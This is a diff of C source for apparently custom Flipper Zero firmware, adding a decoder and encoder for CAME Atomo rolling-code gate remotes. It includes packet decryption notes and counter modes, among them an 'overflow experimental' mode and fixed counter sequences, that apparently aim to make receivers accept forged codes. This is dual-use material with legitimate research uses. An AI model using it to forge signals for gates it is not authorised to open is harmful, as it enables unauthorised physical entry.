LevelDuration subghz_protocol_encoder_came_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderCame.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderCame* pointer to a SubGhzProtocolDecoderCame instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderCame.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCame instance
|
||||
*/
|
||||
void subghz_protocol_decoder_came_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderCame.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCame instance
|
||||
*/
|
||||
void subghz_protocol_decoder_came_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCame instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCame instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_came_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderCame.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCame instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderCame.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCame instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderCame instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_came_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,868 @@
|
||||
#include "came_atomo.h"
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <lib/toolbox/manchester_encoder.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#include <lib/subghz/blocks/custom_btn_i.h>
|
||||
|
||||
#define TAG "SubGhzProtocoCameAtomo"
|
||||
|
||||
//variable used to bypass CounterMode settings if user just change Counter or Button
|
||||
static bool bypass = false;
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_came_atomo_const = {
|
||||
.te_short = 600,
|
||||
.te_long = 1200,
|
||||
.te_delta = 250,
|
||||
.min_count_bit_for_found = 62,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderCameAtomo {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
ManchesterState manchester_saved_state;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderCameAtomo {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
CameAtomoDecoderStepReset = 0,
|
||||
CameAtomoDecoderStepDecoderData,
|
||||
} CameAtomoDecoderStep;
|
||||
|
||||
static uint8_t came_atomo_counter_mode = 0;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder = {
|
||||
.alloc = subghz_protocol_decoder_came_atomo_alloc,
|
||||
.free = subghz_protocol_decoder_came_atomo_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_came_atomo_feed,
|
||||
.reset = subghz_protocol_decoder_came_atomo_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_came_atomo_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_came_atomo_serialize,
|
||||
.deserialize = subghz_protocol_decoder_came_atomo_deserialize,
|
||||
.get_string = subghz_protocol_decoder_came_atomo_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder = {
|
||||
.alloc = subghz_protocol_encoder_came_atomo_alloc,
|
||||
.free = subghz_protocol_encoder_came_atomo_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_came_atomo_deserialize,
|
||||
.stop = subghz_protocol_encoder_came_atomo_stop,
|
||||
.yield = subghz_protocol_encoder_came_atomo_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_came_atomo = {
|
||||
.name = SUBGHZ_PROTOCOL_CAME_ATOMO_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_came_atomo_decoder,
|
||||
.encoder = &subghz_protocol_came_atomo_encoder,
|
||||
};
|
||||
|
||||
static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance);
|
||||
|
||||
/**
|
||||
* Defines the button value for the current btn_id
|
||||
* Basic set | 0x0 | 0x2 | 0x4 | 0x6 |
|
||||
* @return Button code
|
||||
*/
|
||||
static uint8_t subghz_protocol_came_atomo_get_btn_code(void);
|
||||
|
||||
void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolEncoderCameAtomo));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_came_atomo;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 1;
|
||||
instance->encoder.size_upload = 900; //actual size 766+
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_came_atomo_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderCameAtomo* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
static LevelDuration
|
||||
subghz_protocol_encoder_came_atomo_add_duration_to_upload(ManchesterEncoderResult result) {
|
||||
LevelDuration data = {.duration = 0, .level = 0};
|
||||
switch(result) {
|
||||
case ManchesterEncoderResultShortLow:
|
||||
data.duration = subghz_protocol_came_atomo_const.te_short;
|
||||
data.level = false;
|
||||
break;
|
||||
case ManchesterEncoderResultLongLow:
|
||||
data.duration = subghz_protocol_came_atomo_const.te_long;
|
||||
data.level = false;
|
||||
break;
|
||||
case ManchesterEncoderResultLongHigh:
|
||||
data.duration = subghz_protocol_came_atomo_const.te_long;
|
||||
data.level = true;
|
||||
break;
|
||||
case ManchesterEncoderResultShortHigh:
|
||||
data.duration = subghz_protocol_came_atomo_const.te_short;
|
||||
data.level = true;
|
||||
break;
|
||||
|
||||
default:
|
||||
FURI_LOG_E(TAG, "SubGhz: ManchesterEncoderResult is incorrect.");
|
||||
break;
|
||||
}
|
||||
return level_duration_make(data.level, data.duration);
|
||||
}
|
||||
|
||||
bool subghz_protocol_came_atomo_create_data(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
uint32_t serial,
|
||||
uint16_t cnt,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderCameAtomo* instance = context;
|
||||
instance->generic.btn = 0x1;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.cnt = cnt;
|
||||
instance->generic.cnt_2 = 0x7e;
|
||||
instance->generic.data_count_bit = 62;
|
||||
instance->generic.data_2 =
|
||||
((uint64_t)0x7e << 56 | (uint64_t)cnt << 40 | (uint64_t)serial << 8);
|
||||
|
||||
uint8_t pack[8] = {};
|
||||
|
||||
pack[0] = (instance->generic.cnt_2);
|
||||
pack[1] = (instance->generic.cnt >> 8);
|
||||
pack[2] = (instance->generic.cnt & 0xFF);
|
||||
pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
|
||||
pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
|
||||
pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
|
||||
pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
|
||||
pack[7] = (instance->generic.data_2 & 0xFF);
|
||||
|
||||
atomo_encrypt(pack);
|
||||
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
|
||||
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
|
||||
instance->generic.data = (uint64_t)hi << 32 | lo;
|
||||
|
||||
instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
|
||||
instance->generic.data >>= 4;
|
||||
instance->generic.data &= 0xFFFFFFFFFFFFFFF;
|
||||
|
||||
return SubGhzProtocolStatusOk ==
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderCameAtomo instance
|
||||
*/
|
||||
static void subghz_protocol_encoder_came_atomo_get_upload(
|
||||
SubGhzProtocolEncoderCameAtomo* instance,
|
||||
uint8_t btn) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
|
||||
ManchesterEncoderState enc_state;
|
||||
manchester_encoder_reset(&enc_state);
|
||||
ManchesterEncoderResult result;
|
||||
|
||||
uint8_t pack[8] = {};
|
||||
|
||||
// if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
|
||||
if(subghz_block_generic_global.cnt_need_override ||
|
||||
subghz_block_generic_global.btn_need_override)
|
||||
bypass = true;
|
||||
|
||||
if(came_atomo_counter_mode == 0 || bypass) {
|
||||
// Check for OFEX (overflow experimental) mode
|
||||
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF || bypass) {
|
||||
bypass = false;
|
||||
// standart counter mode. PULL data from subghz_block_generic_global variables
|
||||
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
|
||||
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
|
||||
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
|
||||
}
|
||||
}
|
||||
} else {
|
||||
//OFFEX mode
|
||||
if((instance->generic.cnt + 0x1) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
|
||||
instance->generic.cnt = 0xFFFE;
|
||||
} else {
|
||||
instance->generic.cnt++;
|
||||
}
|
||||
}
|
||||
} else if(came_atomo_counter_mode == 1) {
|
||||
// Mode 1
|
||||
// 0000 / 0001 / FFFE / FFFF
|
||||
if((instance->generic.cnt + 0x1) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
|
||||
instance->generic.cnt = 0xFFFE;
|
||||
} else {
|
||||
instance->generic.cnt++;
|
||||
}
|
||||
} else if(came_atomo_counter_mode == 2) {
|
||||
// Mode 2
|
||||
// 0x807B / 0x807C / 0x007B / 0x007C
|
||||
if(instance->generic.cnt != 0x807B && instance->generic.cnt != 0x807C &&
|
||||
instance->generic.cnt != 0x007B) {
|
||||
instance->generic.cnt = 0x807B;
|
||||
} else if(instance->generic.cnt == 0x807C) {
|
||||
instance->generic.cnt = 0x007B;
|
||||
} else {
|
||||
instance->generic.cnt++;
|
||||
}
|
||||
} else {
|
||||
// Mode 3 - Freeze counter
|
||||
}
|
||||
|
||||
// Save original button for later use
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(btn);
|
||||
}
|
||||
|
||||
btn = subghz_protocol_came_atomo_get_btn_code();
|
||||
|
||||
if(btn == 0x1) {
|
||||
btn = 0x0;
|
||||
} else if(btn == 0x2) {
|
||||
btn = 0x2;
|
||||
} else if(btn == 0x3) {
|
||||
btn = 0x4;
|
||||
} else if(btn == 0x4) {
|
||||
btn = 0x6;
|
||||
}
|
||||
|
||||
// override button if we change it with signal settings button editor
|
||||
if(subghz_block_generic_global_button_override_get(&btn))
|
||||
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
|
||||
|
||||
//Send header
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60);
|
||||
|
||||
// Btn counter 0x0 - 0x7F
|
||||
pack[0] = 0;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
//pack[0] = (instance->generic.data_2 >> 56);
|
||||
pack[1] = (instance->generic.cnt >> 8);
|
||||
pack[2] = (instance->generic.cnt & 0xFF);
|
||||
pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
|
||||
pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
|
||||
pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
|
||||
pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
|
||||
pack[7] = (btn << 4);
|
||||
|
||||
/* if(pack[0] == 0x7F) {
|
||||
pack[0] = 0;
|
||||
} else {
|
||||
pack[0] += (i + 1);
|
||||
}
|
||||
*/
|
||||
switch(i) {
|
||||
case 0:
|
||||
pack[0] = 10; // 0A
|
||||
break;
|
||||
case 1:
|
||||
pack[0] = 30;
|
||||
break;
|
||||
case 2:
|
||||
pack[0] = 125; // 7D
|
||||
break;
|
||||
case 3:
|
||||
pack[0] = 126; // 7E
|
||||
break;
|
||||
case 4:
|
||||
pack[0] = 127; // 7F
|
||||
break;
|
||||
case 5:
|
||||
pack[0] = 0; // 00
|
||||
break;
|
||||
case 6:
|
||||
pack[0] = 1; // 01
|
||||
break;
|
||||
case 7:
|
||||
pack[0] = 3;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
// 10 50 125 126 127 0 1 2
|
||||
|
||||
atomo_encrypt(pack);
|
||||
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
|
||||
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
|
||||
instance->generic.data = (uint64_t)hi << 32 | lo;
|
||||
|
||||
instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
|
||||
instance->generic.data >>= 4;
|
||||
instance->generic.data &= 0xFFFFFFFFFFFFFFF;
|
||||
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short);
|
||||
|
||||
for(uint8_t i = (instance->generic.data_count_bit - 2); i > 0; i--) {
|
||||
if(!manchester_encoder_advance(
|
||||
&enc_state, !bit_read(instance->generic.data, i - 1), &result)) {
|
||||
instance->encoder.upload[index++] =
|
||||
subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
|
||||
manchester_encoder_advance(
|
||||
&enc_state, !bit_read(instance->generic.data, i - 1), &result);
|
||||
}
|
||||
instance->encoder.upload[index++] =
|
||||
subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
|
||||
}
|
||||
instance->encoder.upload[index] =
|
||||
subghz_protocol_encoder_came_atomo_add_duration_to_upload(
|
||||
manchester_encoder_finish(&enc_state));
|
||||
if(level_duration_get_level(instance->encoder.upload[index])) {
|
||||
index++;
|
||||
}
|
||||
//Send pause
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272);
|
||||
}
|
||||
instance->encoder.size_upload = index;
|
||||
instance->generic.cnt_2++;
|
||||
pack[0] = (instance->generic.cnt_2);
|
||||
pack[1] = (instance->generic.cnt >> 8);
|
||||
pack[2] = (instance->generic.cnt & 0xFF);
|
||||
pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
|
||||
pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
|
||||
pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
|
||||
pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
|
||||
pack[7] = (btn << 4);
|
||||
|
||||
atomo_encrypt(pack);
|
||||
uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
|
||||
uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
|
||||
instance->generic.data = (uint64_t)hi << 32 | lo;
|
||||
|
||||
instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
|
||||
instance->generic.data >>= 4;
|
||||
instance->generic.data &= 0xFFFFFFFFFFFFFFF;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderCameAtomo* instance = context;
|
||||
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
|
||||
do {
|
||||
if(SubGhzProtocolStatusOk !=
|
||||
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
break;
|
||||
}
|
||||
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t tmp_counter_mode;
|
||||
if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
|
||||
came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
|
||||
} else {
|
||||
came_atomo_counter_mode = 0;
|
||||
}
|
||||
|
||||
subghz_protocol_came_atomo_remote_controller(&instance->generic);
|
||||
subghz_protocol_encoder_came_atomo_get_upload(instance, instance->generic.btn);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Rewind error");
|
||||
break;
|
||||
}
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
FURI_LOG_E(TAG, "Unable to add Key");
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
res = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_came_atomo_stop(void* context) {
|
||||
SubGhzProtocolEncoderCameAtomo* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context) {
|
||||
SubGhzProtocolEncoderCameAtomo* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolDecoderCameAtomo));
|
||||
instance->base.protocol = &subghz_protocol_came_atomo;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_atomo_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_atomo_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = context;
|
||||
instance->decoder.parser_step = CameAtomoDecoderStepReset;
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCameAtomo* instance = context;
|
||||
|
||||
ManchesterEvent event = ManchesterEventReset;
|
||||
switch(instance->decoder.parser_step) {
|
||||
case CameAtomoDecoderStepReset:
|
||||
// There are two known options for the header: 72K us (TOP42R, TOP44R) or 12k us (found on TOP44RBN)
|
||||
if((!level) && ((DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 10) <
|
||||
subghz_protocol_came_atomo_const.te_delta * 20) ||
|
||||
(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 60) <
|
||||
subghz_protocol_came_atomo_const.te_delta * 40))) {
|
||||
//Found header CAME
|
||||
instance->decoder.parser_step = CameAtomoDecoderStepDecoderData;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 1;
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventShortLow,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
}
|
||||
break;
|
||||
case CameAtomoDecoderStepDecoderData:
|
||||
if(!level) {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
|
||||
subghz_protocol_came_atomo_const.te_delta) {
|
||||
event = ManchesterEventShortLow;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
|
||||
subghz_protocol_came_atomo_const.te_delta) {
|
||||
event = ManchesterEventLongLow;
|
||||
} else if(
|
||||
duration >= ((uint32_t)subghz_protocol_came_atomo_const.te_long * 2 +
|
||||
subghz_protocol_came_atomo_const.te_delta)) {
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_came_atomo_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 1;
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_saved_state,
|
||||
ManchesterEventShortLow,
|
||||
&instance->manchester_saved_state,
|
||||
NULL);
|
||||
} else {
|
||||
instance->decoder.parser_step = CameAtomoDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
|
||||
subghz_protocol_came_atomo_const.te_delta) {
|
||||
event = ManchesterEventShortHigh;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
|
||||
subghz_protocol_came_atomo_const.te_delta) {
|
||||
event = ManchesterEventLongHigh;
|
||||
} else {
|
||||
instance->decoder.parser_step = CameAtomoDecoderStepReset;
|
||||
}
|
||||
}
|
||||
if(event != ManchesterEventReset) {
|
||||
bool data;
|
||||
bool data_ok = manchester_advance(
|
||||
instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
|
||||
|
||||
if(data_ok) {
|
||||
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
|
||||
instance->decoder.decode_count_bit++;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
* @param file_name Full path to rainbow table the file
|
||||
*/
|
||||
static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
/*
|
||||
* ***SkorP ver.***
|
||||
* 0x1fafef3ed0f7d9ef
|
||||
* 0x185fcc1531ee86e7
|
||||
* 0x184fa96912c567ff
|
||||
* 0x187f8a42f3dc38f7
|
||||
* 0x186f63915492a5cd
|
||||
* 0x181f40bab58bfac5
|
||||
* 0x180f25c696a01bdd
|
||||
* 0x183f06ed77b944d5
|
||||
* 0x182ef661d83d21a9
|
||||
* 0x18ded54a39247ea1
|
||||
* 0x18ceb0361a0f9fb9
|
||||
* 0x18fe931dfb16c0b1
|
||||
* 0x18ee7ace5c585d8b
|
||||
* ........
|
||||
* transmission consists of 99 parcels with increasing counter while holding down the button
|
||||
* with each new press, the counter in the encrypted part increases
|
||||
*
|
||||
* 0x1FAFF13ED0F7D9EF
|
||||
* 0x1FAFF11ED0F7D9EF
|
||||
* 0x1FAFF10ED0F7D9EF
|
||||
* 0x1FAFF0FED0F7D9EF
|
||||
* 0x1FAFF0EED0F7D9EF
|
||||
* 0x1FAFF0DED0F7D9EF
|
||||
* 0x1FAFF0CED0F7D9EF
|
||||
* 0x1FAFF0BED0F7D9EF
|
||||
* 0x1FAFF0AED0F7D9EF
|
||||
*
|
||||
* where 0x1FAF - parcel counter, 0хF0A - button press counter,
|
||||
* 0xED0F7D9E - serial number, 0хF - key
|
||||
* 0x1FAF parcel counter - 1 in the parcel queue ^ 0x185F = 0x07F0
|
||||
* 0x185f ^ 0x185F = 0x0000
|
||||
* 0x184f ^ 0x185F = 0x0010
|
||||
* 0x187f ^ 0x185F = 0x0020
|
||||
* .....
|
||||
* 0x182e ^ 0x185F = 0x0071
|
||||
* 0x18de ^ 0x185F = 0x0081
|
||||
* .....
|
||||
* 0x1e43 ^ 0x185F = 0x061C
|
||||
* where the last nibble is incremented every 8 samples
|
||||
*
|
||||
* Decode
|
||||
*
|
||||
* 0x1cf6931dfb16c0b1 => 0x1cf6
|
||||
* 0x1cf6 ^ 0x185F = 0x04A9
|
||||
* 0x04A9 => 0x04A = 74 (dec)
|
||||
* 74+1 % 32(atomo_magic_xor) = 11
|
||||
* GET atomo_magic_xor[11] = 0xXXXXXXXXXXXXXXXX
|
||||
* 0x931dfb16c0b1 ^ 0xXXXXXXXXXXXXXXXX = 0xEF3ED0F7D9EF
|
||||
* 0xEF3 ED0F7D9E F => 0xEF3 - CNT, 0xED0F7D9E - SN, 0xF - key
|
||||
*
|
||||
* ***Actual***
|
||||
* Button hold-cycle counter (8-bit, from 0 to 0x7F) should DO full cycle or half cycle keeping values like zero
|
||||
* 0x1FF08D9924984115 - received data
|
||||
* 0x00F7266DB67BEEA0 - inverted data
|
||||
* 0x0501FD0000A08300 - decrypted data,
|
||||
* where: 0x05 - Button hold-cycle counter (8-bit, from 0 to 0x7F)
|
||||
* 0x01FD - Parcel counter (normal 16-bit counter)
|
||||
* 0x0000A083 - Serial number (32-bit)
|
||||
* 0x0 - Button code (4-bit, 0x0 - #1 left-up; 0x2 - #2 right-up; 0x4 - #3 left-down; 0x6 - #4 right-down)
|
||||
* 0x0 - Last zero nibble
|
||||
* */
|
||||
|
||||
instance->data ^= 0xFFFFFFFFFFFFFFFF;
|
||||
instance->data <<= 4;
|
||||
|
||||
uint8_t pack[8] = {};
|
||||
pack[0] = (instance->data >> 56);
|
||||
pack[1] = ((instance->data >> 48) & 0xFF);
|
||||
pack[2] = ((instance->data >> 40) & 0xFF);
|
||||
pack[3] = ((instance->data >> 32) & 0xFF);
|
||||
pack[4] = ((instance->data >> 24) & 0xFF);
|
||||
pack[5] = ((instance->data >> 16) & 0xFF);
|
||||
pack[6] = ((instance->data >> 8) & 0xFF);
|
||||
pack[7] = (instance->data & 0xFF);
|
||||
|
||||
atomo_decrypt(pack);
|
||||
|
||||
instance->cnt_2 = pack[0];
|
||||
instance->cnt = (uint16_t)pack[1] << 8 | pack[2];
|
||||
instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6];
|
||||
|
||||
uint8_t btn_decode = (pack[7] >> 4);
|
||||
if(btn_decode == 0x0) {
|
||||
instance->btn = 0x1;
|
||||
} else if(btn_decode == 0x2) {
|
||||
instance->btn = 0x2;
|
||||
